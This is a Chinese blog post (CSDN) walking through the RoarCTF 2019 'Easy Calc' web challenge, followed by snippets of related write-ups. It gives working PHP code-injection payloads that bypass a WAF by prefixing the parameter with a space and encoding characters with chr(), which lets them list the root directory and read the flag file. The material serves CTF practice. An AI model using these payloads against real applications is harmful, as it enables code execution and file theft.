[RoarCTF 2019]Easy Calc

最新推荐文章于 2022-05-22 22:11:55 发布
最新推荐文章于 2022-05-22 22:11:55 发布
阅读量153 收藏
点赞数
分类专栏： web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_51426816/article/details/113488841
版权

![在这里插入图片描述](https://img-blog.csdnimg.cn/20210201020129161.png

F12，注释已设置WAF，发现calc.php
查到可以通过以下方式绕过WAF：大小写混合，替换关键字，使用编码，使用注释，等价函数与命令，特殊符号，HTTP参数控制，缓冲区溢出，整合绕过

打开calc.php
在这里插入图片描述
过滤了一些字符和num
通过在num前面加表示空格的%20，用char()代替特殊字符的方式绕过

?%20num=var_dump(scandir(chr(47)))

在这里插入图片描述
发现flag，读取

?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

file_get_contents函数：把整个文件读入一个字符串中
在这里插入图片描述

祁行
关注
专栏目录
BUUCTF [RoarCTF 2019]Easy Calc1
qq_35874748的博客
10-19 2991
一.打开题目后： 二.Ctrl+U查看源代码： 发现存在WAF和一个文件calc.php，这里我们就需要简单的了解下什么是WAF了： WAF的全称是（Web Application Firewall）即Web应用防火墙，简称WAF。 那么WAF能做什么？ WAF可以过滤HTTP/HTTPS协议流量，防护Web攻击。 WAF可以对Web应用进行安全审计 WAF可以防止CC攻击 应用交付 CC攻击：通过大量请求对应用程序资源消耗最大的应用，如...
[RoarCTF 2019]Easy Calc 1
snowlyzz的博客
03-13 3525
写给自己看 方便理解。 查看源代码 看到了URL 试试访问calc.php 尝试给num传参：发现只能传数字 而不能传字母。而我们要读取的可能就是flag这个文件 那我们可以利用PHP的字符串解析特性来绕过WAF，在num前面加上空格 绕过num传参后，我们要读取他根目录下的文件。 也就是 calc.php? num=print_r(scandir('/')); 却发现他没有返回我们想要的答案 抓包看看 发现他把 ' ' 引号给过滤掉了 那就...
【[RoarCTF 2019]Easy Calc】
qq_40646572的博客
05-05 168
信息搜集 打开目标页面，搜集下可用的信息。 在文本框随便输入了点字母，发现提示。 打开页面源码，发现了提示，有waf存在。并且发现数据发送到calc.php页面，参数是num。 打开calc.php页面发现源码。 http://node4.buuoj.cn:28614/calc.php? num=phpinfo() Num参数前加一个空格。 为什么要num参数前加一个空格，是因为加一个空格为了绕过waf，在请求传递到waf层的时候，waf会检测num变量，当num前面加一个空格时，目标变量会找.
RoarCTF 2019 Easy Calc
BlueDoorZz的博客
07-11 353
0x00 题目类型：php，RCE。 知识点：php对变量空格的解析。 0x01 查看源码，提醒有WAF保护，不过我们不知道规则。发现calc.php，对传入的num参数做了如下限制。 $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) {
[RoarCTF 2019]Easy Calc1
weixin_61021815的博客
05-22 418
进入页面发现是一个计算器 猜测为sql注入（后来一想太过幼稚，他又不和数据库交互） 正在上传…重新上传取消 尝试了一下发现大多数字符都被过滤了 通过看被人的wp，发现可以通过抓包，发现了calc.php 访问一下 <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str=$_GET['num']; $blacklist=['...
[roarctf 2019]easy calc
最新发布
03-16
这道题是一道简单的逆向工程题目，给出了一个计算器程序和加密后的标志，需要我们破解加密算法并计算出正确的标志。 我们可以使用反编译工具对程序进行反编译，然后找到加密算法的相关代码。在这个程序中，加密算法...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值